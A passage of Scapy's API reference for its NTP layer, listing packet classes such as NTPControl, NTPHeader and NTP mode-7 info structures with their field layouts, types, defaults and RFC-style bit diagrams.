	IPField

	'0.0.0.0'



	mask

	IPField

	'0.0.0.0'



	flags

	FlagsField

	<Flag 0 ()>



	m_flags

	ShortField

	0



	v6_flag

	IntField

	0



	addr6

	IP6Field

	'::'



	mask6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPConfTrap(_pkt, /, *, local_address='0.0.0.0', trap_address='0.0.0.0', trap_port=0, unused=0, v6_flag=0, local_address6='::', trap_address6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1433-L1447]

	Bases: Packet

Structure used to pass add/clear trap information to the client


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LOCAL ADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          TRAP ADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TRAP PORT           |             UNUSED            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LOCAL ADDRESS6                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         TRAP ADDRESS6                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPConfTrap                         


NTPConfTrap fields






	local_address

	IPField

	'0.0.0.0'



	trap_address

	IPField

	'0.0.0.0'



	trap_port

	ShortField

	0



	unused

	ShortField

	0



	v6_flag

	IntField

	0



	local_address6

	IP6Field

	'::'



	trap_address6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPConfUnpeer(_pkt, /, *, peeraddr='0.0.0.0', v6_flag=0, peeraddr6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1256-L1266]

	Bases: Packet

Structure for passing peer deletion information.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PEERADDR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PEERADDR6                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NTPConfUnpeer                        


NTPConfUnpeer fields






	peeraddr

	IPField

	'0.0.0.0'



	v6_flag

	IntField

	0



	peeraddr6

	IP6Field

	'::'















	
class scapy.layers.ntp.NTPControl(_pkt, /, *, zeros=0, version=2, mode=6, response=0, err=0, more=0, op_code=0, sequence=0, status_word=b'', status=0, association_id=0, offset=0, count=None, data=b'', authenticator=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L802-L844]

	Bases: NTP

Packet handling NTP mode 6 / “Control” messages.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ZER|VERSI| MODE|R|E|M| OP CODE |            SEQUENCE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          STATUS WORD          |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ASSOCIATION ID        |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COUNT             |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHENTICATOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPControl                          


NTPControl fields






	zeros

	BitField  (2 bits)

	0



	version

	BitField  (3 bits)

	2



	mode

	BitEnumField

	6



	response

	BitField  (1 bit)

	0



	err

	BitField  (1 bit)

	0



	more

	BitField  (1 bit)

	0



	op_code

	BitEnumField

	0



	sequence

	ShortField

	0



	status_word

	NTPControlStatusField (Cond)

	b''



	status

	ShortField (Cond)

	0



	association_id

	ShortField

	0



	offset

	ShortField

	0



	count

	ShortField

	None



	data

	MayEnd

	b''



	authenticator

	PacketField

	b''











	
match_subclass = True

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L838-L844]

	








	
class scapy.layers.ntp.NTPControlDataPacketLenField(name: str, default: Packet, cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L756-L799]

	Bases: PacketLenField

PacketField handling the “data” field of NTP control messages.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L779-L799]

	




	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L762-L777]

	








	
class scapy.layers.ntp.NTPControlStatusField(name: str, default: Optional[K], pkt_cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L694-L740]

	Bases: PacketField

This field provides better readability for the “status” field.


	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L708-L740]

	








	
class scapy.layers.ntp.NTPErrorStatusPacket(_pkt, /, *, error_code=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L679-L691]

	Bases: Packet

Packet handling the error status fields.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L690-L691]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ERROR CODE  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NTPErrorStatusPacket                     


NTPErrorStatusPacket fields






	error_code

	BitEnumField

	0



	reserved

	BitField  (8 bits)

	0















	
class scapy.layers.ntp.NTPExtPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L318-L356]

	Bases: PacketListField

PacketListField handling NTPv4 extensions (NTPExtension list).


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L332-L356]

	




	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L324-L330]

	








	
class scapy.layers.ntp.NTPExtension(_pkt, /, *, type=0, len=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L271-L315]

	Bases: Packet

Packet handling a NTPv4 extension.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NTPExtension                         


NTPExtension fields






	type

	ShortField

	0



	len

	ShortField

	0



	value

	PadField

	b''















	
class scapy.layers.ntp.NTPExtensions(_pkt, /, *, extensions=[], mac=<NTPAuthenticator  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L359-L380]

	Bases: Packet

Packet handling the NTPv4 extensions and the “MAC part” of the packet.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTENSIONS          |              MAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NTPExtensions                        


NTPExtensions fields






	extensions

	NTPExtPacketListField

	[]



	mac

	PacketField

	<NTPAuthenticator  |>















	
class scapy.layers.ntp.NTPHeader(_pkt, /, *, leap=0, version=4, mode=3, stratum=2, poll=10, precision=0, delay=0, dispersion=0, id='127.0.0.1', ref_id=b'', ref=0, orig=None, recv=0, sent=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L383-L482]

	Bases: NTP

Packet handling the RFC 5905 NTP packet.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LEA|VERSI| MODE|    STRATUM    |      POLL     |   PRECISION   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DELAY                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DISPERSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             REF ID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              REF                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ORIG                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RECV                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SENT                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. NTPHeader                          


NTPHeader fields






	leap

	BitEnumField

	0



	version

	BitField  (3 bits)

	4



	mode

	BitEnumField

	3



	stratum

	BitField  (8 bits)

	2



	poll

	SignedByteField

	10



	precision

	SignedByteField

	0



	delay

	FixedPointField  (32 bits)

	0



	dispersion

	FixedPointField  (32 bits)

	0



	id

	IPField (Cond)

	'127.0.0.1'



	ref_id

	StrFixedLenEnumField (Cond)

	b''



	ref

	TimeStampField  (64 bits)

	0



	orig

	TimeStampField  (64 bits)

	None



	recv

	TimeStampField  (64 bits)

	0



	sent

	TimeStampField  (64 bits)

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L471-L482]

	Handles NTPv4 extensions and MAC part (when authentication is used.)






	
match_subclass = True

	








	
class scapy.layers.ntp.NTPInfoAuth(_pkt, /, *, timereset=0, numkeys=0, numfreekeys=0, keylookups=0, keynotfound=0, encryptions=0, decryptions=0, expired=0, keyuncached=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1414-L1430]

	Bases: Packet

Structure used to return information concerning the authentication module.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMERESET                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NUMKEYS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NUMFREEKEYS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           KEYLOOKUPS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          KEYNOTFOUND                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ENCRYPTIONS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DECRYPTIONS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EXPIRED                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          KEYUNCACHED                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NTPInfoAuth                         


NTPInfoAuth fields






	timereset

	IntField

	0



	numkeys

	IntField

	0



	numfreekeys

	IntField

	0



	keylookups

	IntField

	0



	keynotfound

	IntField

	0



	encryptions

	IntField

	0



	decryptions

	IntField

	0



	expired

	IntField

	0



	keyuncached

	IntField

	0















	
class scapy.layers.ntp.NTPInfoControl(_pkt, /, *, ctltimereset=0, numctlreq=0, numctlbadpkts=0, numctlresponses=0, numctlfrags=0, numctlerrors=0, numctltooshort=0, numctlinputresp=0, numctlinputfrag=0, numctlinputerr=0, numctlbadoffset=0, numctlbadversion=0, numctldatatooshort=0, numctlbadop=0, numasyncmsgs=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1450-L1472]

	Bases: Packet

Structure used to return statistics from the control module.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CTLTIMERESET                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NUMCTLREQ                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NUMCTLBADPKTS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NUMCTLRESPONSES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NUMCTLFRAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NUMCTLERRORS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NUMCTLTOOSHORT                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NUMCTLINPUTRESP                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NUMCTLINPUTFRAG                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NUMCTLINPUTERR                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NUMCTLBADOFFSET                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NUMCTLBADVERSION                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       NUMCTLDATATOOSHORT                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NUMCTLBADOP                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NUMASYNCMSGS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPInfoControl                        


NTPInfoControl fields






	ctltimereset

	IntField

	0



	numctlreq

	IntField

	0



	numctlbadpkts

	IntField

	0



	numctlresponses

	IntField

	0



	numctlfrags

	IntField

	0



	numctlerrors

	IntField

	0



	numctltooshort

	IntField

	0



	numctlinputresp

	IntField

	0



	numctlinputfrag

	IntField

	0



	numctlinputerr

	IntField

	0



	numctlbadoffset

	IntField

	0



	numctlbadversion

	IntField

	0



	numctldatatooshort

	IntField

	0



	numctlbadop

	IntField

	0



	numasyncmsgs

	IntField

	0















	
class scapy.layers.ntp.NTPInfoIOStats(_pkt, /, *, timereset=0, totalrecvbufs=0, freerecvbufs=0, fullrecvbufs=0, lowwater=0, dropped=0, ignored=0, received=0, sent=0, notsent=0, interrupts=0, int_received=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1187-L1206]

	Bases: Packet

I/O statistics.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMERESET                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TOTALRECVBUFS         |          FREERECVBUFS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          FULLRECVBUFS         |            LOWWATER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DROPPED                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IGNORED                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RECEIVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SENT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NOTSENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           INTERRUPTS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          INT RECEIVED                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NTPInfoIOStats                        


NTPInfoIOStats fields






	timereset

	IntField

	0



	totalrecvbufs

	ShortField

	0



	freerecvbufs

	ShortField

	0



	fullrecvbufs

	ShortField

	0



	lowwater

	ShortField

	0



	dropped

	IntField

	0



	ignored

	IntField

	0



	received

	IntField

	0



	sent

	IntField

	0



	notsent

	IntField

	0



	interrupts

	IntField

	0



	int_received

	IntField

	0















	
class scapy.layers.ntp.NTPInfoIfStatsIPv4(_pkt, /, *, unaddr='0.0.0.0', unbcast='0.0.0.0', unmask='0.0.0.0', v6_flag=0, ifname=b'', flags=0, last_ttl=0, num_mcast=0, received=0, sent=0, notsent=0, uptime=0, scopeid=0, ifindex=0, ifnum=0, peercnt=0, family=0, ignore_packets=0, action=0, _filler0=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1330-L1357]

	Bases: Packet

Interface statistics.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UNADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNBCAST                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UNMASK                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IFNAME                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LAST TTL                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NUM MCAST                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RECEIVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SENT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NOTSENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UPTIME                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SCOPEID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IFINDEX                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IFNUM                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PEERCNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FAMILY            | IGNORE PACKETS|     ACTION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FILLER0                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NTPInfoIfStatsIPv4                      


NTPInfoIfStatsIPv4 fields






	unaddr

	PadField

	'0.0.0.0'



	unbcast

	PadField

	'0.0.0.0'



	unmask

	PadField

	'0.0.0.0'



	v6_flag

	IntField

	0



	ifname

	StrFixedLenField

	b''



	flags

	IntField

	0



	last_ttl

	IntField

	0



	num_mcast

	IntField

	0



	received

	IntField

	0



	sent

	IntField

	0



	notsent

	IntField

	0



	uptime

	IntField

	0



	scopeid

	IntField

	0



	ifindex

	IntField

	0



	ifnum

	IntField

	0



	peercnt

	IntField

	0



	family

	ShortField

	0



	ignore_packets

	ByteField

	0



	action

	ByteField

	0



	_filler0

	IntField

	0















	
class scapy.layers.ntp.NTPInfoIfStatsIPv6(_pkt, /, *, unaddr='::', unbcast='::', unmask='::', v6_flag=0, ifname=b'', flags=0, last_ttl=0, num_mcast=0, received=0, sent=0, notsent=0, uptime=0, scopeid=0, ifindex=0, ifnum=0, peercnt=0, family=0, ignore_packets=0, action=0, _filler0=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntp.py#L1360-L1387]

	Bases: Packet

Interface statistics.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UNADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNBCAST                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UNMASK                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            V6 FLAG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IFNAME                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LAST TTL                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NUM MCAST                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RECEIVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
